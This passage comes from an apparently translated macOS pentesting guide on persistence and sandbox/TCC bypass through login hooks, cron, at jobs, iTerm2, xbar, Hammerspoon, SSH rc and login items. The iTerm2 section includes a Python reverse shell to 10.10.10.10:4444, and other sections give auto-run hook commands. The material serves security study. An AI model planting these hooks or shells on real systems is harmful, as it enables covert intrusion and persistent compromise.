QuickLook ํ”Œ๋Ÿฌ๊ทธ์ธ

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • ์ƒŒ๋“œ๋ฐ•์Šค ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • TCC ์šฐํšŒ: ๐ŸŸ 
  • ์ถ”๊ฐ€์ ์ธ TCC ์ ‘๊ทผ ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

์œ„์น˜

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

์„ค๋ช… ๋ฐ ์•…์šฉ

QuickLook ํ”Œ๋Ÿฌ๊ทธ์ธ์€ ํŒŒ์ผ์˜ ๋ฏธ๋ฆฌ๋ณด๊ธฐ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ๋•Œ(Finder์—์„œ ํŒŒ์ผ์„ ์„ ํƒํ•œ ์ƒํƒœ๋กœ ์ŠคํŽ˜์ด์Šค ๋ฐ”๋ฅผ ๋ˆ„๋ฆ„) ๊ทธ๋ฆฌ๊ณ  ํ•ด๋‹น ํŒŒ์ผ ํ˜•์‹์„ ์ง€์›ํ•˜๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฉด ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์ฒด QuickLook ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์ปดํŒŒ์ผํ•˜์—ฌ ์•ž์„œ ์–ธ๊ธ‰ํ•œ ์œ„์น˜ ์ค‘ ํ•˜๋‚˜์— ๋ฐฐ์น˜ํ•˜๋ฉด ๋กœ๋“œ๋˜๊ณ , ์ง€์›๋˜๋Š” ํŒŒ์ผ๋กœ ๊ฐ€์„œ ์ŠคํŽ˜์ด์Šค ๋ฐ”๋ฅผ ๋ˆŒ๋Ÿฌ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋กœ๊ทธ์ธ/๋กœ๊ทธ์•„์›ƒ Hooks

Caution

This didnโ€™t work for me, neither with the user LoginHook nor with the root LogoutHook

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • ์ƒŒ๋“œ๋ฐ•์Šค ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • TCC ์šฐํšŒ: ๐Ÿ”ด

์œ„์น˜

  • ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
  • Located in ~/Library/Preferences/com.apple.loginwindow.plist

์ด๋“ค์€ ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š์ง€๋งŒ, ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

์ด ์„ค์ •์€ /Users/$USER/Library/Preferences/com.apple.loginwindow.plist์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

์‚ญ์ œํ•˜๋ ค๋ฉด:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist

์กฐ๊ฑด๋ถ€ Sandbox Bypass

Tip

์—ฌ๊ธฐ์„œ๋Š” sandbox bypass์— ์œ ์šฉํ•œ ์‹œ์ž‘ ์œ„์น˜๋“ค์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ฌด์–ธ๊ฐ€๋ฅผ ๋‹จ์ˆœํžˆ ํŒŒ์ผ์— ์จ ๋„ฃ์–ด์„œ ์‹คํ–‰ํ•˜๊ฒŒ ํ•˜๊ฑฐ๋‚˜, ํŠน์ • ํ”„๋กœ๊ทธ๋žจ์ด ์„ค์น˜๋˜์–ด ์žˆ์Œ, ๋˜๋Š” "๋œ ํ”ํ•œ" ์‚ฌ์šฉ์ž ๋™์ž‘์ด๋‚˜ ํ™˜๊ฒฝ ๊ฐ™์€ ํ”ํ•˜์ง€ ์•Š์€ ์กฐ๊ฑด๋“ค์„ ์ „์ œ๋กœ ํ•˜๋Š” ๊ฒฝ์šฐ์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

Cron

์ž‘์„ฑ: https://theevilbit.github.io/beyond/beyond_0004/

  • sandbox ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • ํ•˜์ง€๋งŒ crontab ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ
  • ๋˜๋Š” root ๊ถŒํ•œ ํ•„์š”
  • TCC bypass: ๐Ÿ”ด

์œ„์น˜

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • ์ง์ ‘ ์“ฐ๊ธฐ ์ ‘๊ทผ์—๋Š” root ํ•„์š”. crontab <file>์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉด root ๋ถˆํ•„์š”
  • Trigger: cron job์— ๋”ฐ๋ผ ๋‹ค๋ฆ„

์„ค๋ช… & Exploitation

๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ํ˜„์žฌ ์‚ฌ์šฉ์ž์˜ cron job์„ ๋‚˜์—ด:

crontab -l

๋˜ํ•œ ๋ชจ๋“  ์‚ฌ์šฉ์ž๋“ค์˜ cron jobs๋Š” /usr/lib/cron/tabs/ ๋ฐ **/var/at/tabs/**์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (root ๊ถŒํ•œ ํ•„์š”).

MacOS์—์„œ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํŠน์ • ์ฃผ๊ธฐ๋กœ ์‹คํ–‰ํ•˜๋Š” ์—ฌ๋Ÿฌ ํด๋”๋ฅผ ๋‹ค์Œ ์œ„์น˜์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

๊ฑฐ๊ธฐ์—์„œ ์ •๊ธฐ์ ์ธ cron jobs, at jobs (๊ทธ๋ฆฌ ์ž์ฃผ ์‚ฌ์šฉ๋˜์ง€๋Š” ์•Š์Œ) ๋ฐ periodic jobs (์ฃผ๋กœ ์ž„์‹œ ํŒŒ์ผ ์ •๋ฆฌ์— ์‚ฌ์šฉ๋จ)๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ผ์ผ periodic ์ž‘์—…์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: periodic daily.

user cronjob programatically๋ฅผ ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

๋ถ„์„: https://theevilbit.github.io/beyond/beyond_0002/

  • bypass sandbox์— ์œ ์šฉ: โœ…
  • TCC bypass: โœ…
  • iTerm2๋Š” ์ด์ „์— TCC ๊ถŒํ•œ์„ ๋ถ€์—ฌ๋ฐ›์€ ์ ์ด ์žˆ์Œ

์œ„์น˜

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • ํŠธ๋ฆฌ๊ฑฐ: Open iTerm
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • ํŠธ๋ฆฌ๊ฑฐ: Open iTerm
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • ํŠธ๋ฆฌ๊ฑฐ: Open iTerm

์„ค๋ช… ๋ฐ ์•…์šฉ

ํ•ด๋‹น ๊ฒฝ๋กœ์˜ **~/Library/Application Support/iTerm2/Scripts/AutoLaunch**์— ์ €์žฅ๋œ ์Šคํฌ๋ฆฝํŠธ๋Š” ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์˜ˆ:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

๋˜๋Š”:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

์Šคํฌ๋ฆฝํŠธ ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt ๋„ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค:

do shell script "touch /tmp/iterm2-autolaunchscpt"

The iTerm2 preferences located in ~/Library/Preferences/com.googlecode.iterm2.plist can ์‹คํ–‰ํ•  ๋ช…๋ น์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค when the iTerm2 terminal is opened.

This setting can be configured in the iTerm2 settings:

And the command is reflected in the preferences:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

์‹คํ–‰ํ•  ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Warning

์ž„์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด iTerm2 preferences๋ฅผ ์•…์šฉํ•˜๋Š” ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • sandbox ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • ํ•˜์ง€๋งŒ xbar๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ์–ด์•ผ ํ•จ
  • TCC bypass: โœ…
  • Accessibility ๊ถŒํ•œ์„ ์š”์ฒญํ•จ

Location

  • ~/Library/Application\ Support/xbar/plugins/
  • ํŠธ๋ฆฌ๊ฑฐ: xbar๊ฐ€ ์‹คํ–‰๋  ๋•Œ

์„ค๋ช…

์ธ๊ธฐ ์žˆ๋Š” ํ”„๋กœ๊ทธ๋žจ xbar๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ์œผ๋ฉด, **~/Library/Application\ Support/xbar/plugins/**์— ์…ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ xbar๊ฐ€ ์‹œ์ž‘๋  ๋•Œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

์ž‘์„ฑ: https://theevilbit.github.io/beyond/beyond_0008/

  • ์ƒŒ๋“œ๋ฐ•์Šค ์šฐํšŒ์— ์œ ์šฉํ•จ: โœ…
  • ํ•˜์ง€๋งŒ Hammerspoon์ด ์„ค์น˜๋˜์–ด ์žˆ์–ด์•ผ ํ•จ
  • TCC ์šฐํšŒ: โœ…
  • Accessibility ๊ถŒํ•œ์„ ์š”์ฒญํ•จ

์œ„์น˜

  • ~/.hammerspoon/init.lua
  • Trigger: hammerspoon์ด ์‹คํ–‰๋  ๋•Œ

์„ค๋ช…

Hammerspoon์€ macOS์šฉ ์ž๋™ํ™” ํ”Œ๋žซํผ์œผ๋กœ, ์ž‘์—…์— LUA scripting language๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ ์™„์ „ํ•œ AppleScript ์ฝ”๋“œ ํ†ตํ•ฉ๊ณผ shell scripts ์‹คํ–‰์„ ์ง€์›ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŒ… ๊ธฐ๋Šฅ์„ ํฌ๊ฒŒ ํ–ฅ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

์•ฑ์€ ๋‹จ์ผ ํŒŒ์ผ ~/.hammerspoon/init.lua๋ฅผ ์ฐพ๊ณ , ์‹œ์ž‘๋˜๋ฉด ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Useful to bypass sandbox: โœ…
  • But BetterTouchTool must be installed
  • TCC bypass: โœ…
  • It requests Automation-Shortcuts and Accessibility permissions

์œ„์น˜

  • ~/Library/Application Support/BetterTouchTool/*

์ด ๋„๊ตฌ๋Š” ํŠน์ • ๋‹จ์ถ•ํ‚ค๊ฐ€ ๋ˆŒ๋ ธ์„ ๋•Œ ์‹คํ–‰ํ•  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‚˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ž์‹ ์˜ ๋‹จ์ถ•ํ‚ค์™€ ์‹คํ–‰ ๋™์ž‘์„ ๊ตฌ์„ฑํ•˜์—ฌ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋‹จ์ถ•ํ‚ค๋Š” ๋‹จ์ˆœํžˆ ํ‚ค๋ฅผ ๋ˆ„๋ฅด๋Š” ๋™์ž‘์ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).

Alfred

  • Useful to bypass sandbox: โœ…
  • But Alfred must be installed
  • TCC bypass: โœ…
  • It requests Automation, Accessibility and even Full-Disk access permissions

์œ„์น˜

  • ???

ํŠน์ • ์กฐ๊ฑด์ด ์ถฉ์กฑ๋  ๋•Œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” workflows๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž ์žฌ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ workflow ํŒŒ์ผ์„ ๋งŒ๋“ค์–ด Alfred๊ฐ€ ์ด๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์›Œํฌํ”Œ๋กœ์šฐ๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋ฉด premium ๋ฒ„์ „ ๊ฒฐ์ œ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค).

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Useful to bypass sandbox: โœ…
  • But ssh needs to be enabled and used
  • TCC bypass: โœ…
  • SSH use to have FDA access

์œ„์น˜

  • ~/.ssh/rc
  • Trigger: ssh๋กœ ๋กœ๊ทธ์ธ
  • /etc/ssh/sshrc
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • Trigger: ssh๋กœ ๋กœ๊ทธ์ธ

Caution

To turn ssh on requres Full Disk Access:

sudo systemsetup -setremotelogin on

์„ค๋ช… & Exploitation

๊ธฐ๋ณธ์ ์œผ๋กœ /etc/ssh/sshd_config์— PermitUserRC no๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด, ์‚ฌ์šฉ์ž๊ฐ€ SSH๋กœ ๋กœ๊ทธ์ธํ•  ๋•Œ ์Šคํฌ๋ฆฝํŠธ /etc/ssh/sshrc ๋ฐ **~/.ssh/rc**๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

Login Items

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Useful to bypass sandbox: โœ…
  • But you need to execute osascript with args
  • TCC bypass: ๐Ÿ”ด

์œ„์น˜๋“ค

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • Trigger: ๋กœ๊ทธ์ธ
  • ์ต์Šคํ”Œ๋กœ์ž‡ ํŽ˜์ด๋กœ๋“œ๊ฐ€ **osascript**๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ํ˜•ํƒœ๋กœ ์ €์žฅ๋จ
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • Trigger: ๋กœ๊ทธ์ธ
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”

์„ค๋ช…

System Preferences -> Users & Groups -> Login Items์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ ์‹คํ–‰๋˜๋Š” ํ•ญ๋ชฉ๋“ค์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋ช…๋ น์ค„์—์„œ ์ด ํ•ญ๋ชฉ๋“ค์„ ๋‚˜์—ดํ•˜๊ณ  ์ถ”๊ฐ€ ๋ฐ ์ œ๊ฑฐํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

์ด ํ•ญ๋ชฉ๋“ค์€ ํŒŒ์ผ **~/Library/Application Support/com.apple.backgroundtaskmanagementagent**์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค

Login items์€ ๋˜ํ•œ API SMLoginItemSetEnabled๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ‘œ์‹œ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ ๊ตฌ์„ฑ์€ **/var/db/com.apple.xpc.launchd/loginitems.501.plist**์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค

ZIP as Login Item

(Check previous section about Login Items, this is an extension)

ZIP ํŒŒ์ผ์„ Login Item์œผ๋กœ ์ €์žฅํ•˜๋ฉด **Archive Utility**๊ฐ€ ์ด๋ฅผ ์—ด๊ณ , ์˜ˆ๋ฅผ ๋“ค์–ด ZIP์ด **~/Library**์— ์ €์žฅ๋˜์–ด ์žˆ๊ณ  ํด๋” **LaunchAgents/file.plist**์— backdoor๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด ํ•ด๋‹น ํด๋”๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค(๊ธฐ๋ณธ์ ์œผ๋กœ ์ƒ์„ฑ๋˜์ง€๋Š” ์•Š์Œ) ๊ทธ๋ฆฌ๊ณ  plist๊ฐ€ ์ถ”๊ฐ€๋˜๋ฏ€๋กœ ์‚ฌ์šฉ์ž๊ฐ€ ๋‹ค์Œ์— ๋กœ๊ทธ์ธํ•  ๋•Œ plist์— ํ‘œ์‹œ๋œ backdoor๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ์‚ฌ์šฉ์ž HOME ์•ˆ์— **.bash_profile**์™€ .zshenv ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ LaunchAgents ํด๋”๊ฐ€ ์ด๋ฏธ ์กด์žฌํ•œ๋‹ค๋ฉด ์ด ๊ธฐ๋ฒ•์€ ์—ฌ์ „ํžˆ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

  • sandbox ์šฐํšŒ์— ์œ ์šฉํ•จ: โœ…
  • ๋‹จ, **at**์„ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋ฉฐ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค
  • TCC bypass: ๐Ÿ”ด

Location

  • **at**์„ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋ฉฐ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค

Description

at ์ž‘์—…์€ ํŠน์ • ์‹œ๊ฐ„์— ์‹คํ–‰๋  ์ผํšŒ์„ฑ ์ž‘์—…์„ ์˜ˆ์•ฝํ•˜๋„๋ก ์„ค๊ณ„๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. cron jobs์™€ ๋‹ฌ๋ฆฌ at ์ž‘์—…์€ ์‹คํ–‰ ํ›„ ์ž๋™์œผ๋กœ ์ œ๊ฑฐ๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž‘์—…์€ ์‹œ์Šคํ…œ ์žฌ๋ถ€ํŒ… ํ›„์—๋„ ์ง€์†๋œ๋‹ค๋Š” ์ ์„ ์ฃผ์˜ํ•ด์•ผ ํ•˜๋ฉฐ, ํŠน์ • ์กฐ๊ฑด์—์„œ๋Š” ๋ณด์•ˆ์ƒ ์šฐ๋ ค๊ฐ€ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ณธ์ ์œผ๋กœ ์ด๋“ค์€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€๋งŒ root ์‚ฌ์šฉ์ž๋Š” ๋‹ค์Œ์œผ๋กœ ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

์ด ์ž‘์—…์€ 1์‹œ๊ฐ„ ํ›„์— ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

echo "echo 11 > /tmp/at.txt" | at now+1

์ž‘์—… ํ๋ฅผ atq:๋กœ ํ™•์ธํ•˜์„ธ์š”.

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

์œ„์—์„œ ๋‘ ๊ฐœ์˜ ์˜ˆ์•ฝ๋œ ์ž‘์—…์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. at -c JOBNUMBER๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž‘์—…์˜ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Warning

AT tasks๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด ์ƒ์„ฑ๋œ ์ž‘์—…์€ ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น job files๋Š” /private/var/at/jobs/์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

ํŒŒ์ผ ์ด๋ฆ„์—๋Š” ํ, ์ž‘์—… ๋ฒˆํ˜ธ, ์˜ˆ์•ฝ ์‹คํ–‰ ์‹œ๊ฐ„์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด a0001a019bdcd2๋ฅผ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

  • a - ํ์ž…๋‹ˆ๋‹ค
  • 0001a - 16์ง„์ˆ˜๋กœ ๋œ ์ž‘์—… ๋ฒˆํ˜ธ, 0x1a = 26
  • 019bdcd2 - ์‹œ๊ฐ„(16์ง„์ˆ˜). epoch ์ดํ›„ ๊ฒฝ๊ณผํ•œ ๋ถ„(minutes)์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. 0x019bdcd2๋Š” ์‹ญ์ง„์ˆ˜๋กœ 26991826์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ 60์œผ๋กœ ๊ณฑํ•˜๋ฉด 1619509560์ด ๋˜๋ฉฐ, ์ด๋Š” GMT: 2021. April 27., Tuesday 7:46:00์ž…๋‹ˆ๋‹ค.

์ž‘์—… ํŒŒ์ผ์„ ์ถœ๋ ฅํ•ด ๋ณด๋ฉด at -c๋กœ ์–ป์€ ๊ฒƒ๊ณผ ๋™์ผํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Folder Actions

์ž‘์„ฑ: https://theevilbit.github.io/beyond/beyond_0024/
์ž‘์„ฑ: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • sandbox ์šฐํšŒ์— ์œ ์šฉ: โœ…
  • ํ•˜์ง€๋งŒ Folder Actions๋ฅผ ๊ตฌ์„ฑํ•˜๋ ค๋ฉด ์ธ์ˆ˜๋ฅผ ํฌํ•จํ•ด osascript๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ **System Events**์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค
  • TCC ์šฐํšŒ: ๐ŸŸ 
  • Desktop, Documents ๋ฐ Downloads์™€ ๊ฐ™์€ ์ผ๋ถ€ ๊ธฐ๋ณธ TCC ๊ถŒํ•œ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค

Location

  • /Library/Scripts/Folder Action Scripts
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • Trigger: ์ง€์ •๋œ ํด๋”์— ๋Œ€ํ•œ ์ ‘๊ทผ
  • ~/Library/Scripts/Folder Action Scripts
  • Trigger: ์ง€์ •๋œ ํด๋”์— ๋Œ€ํ•œ ์ ‘๊ทผ

์„ค๋ช… ๋ฐ ์•…์šฉ

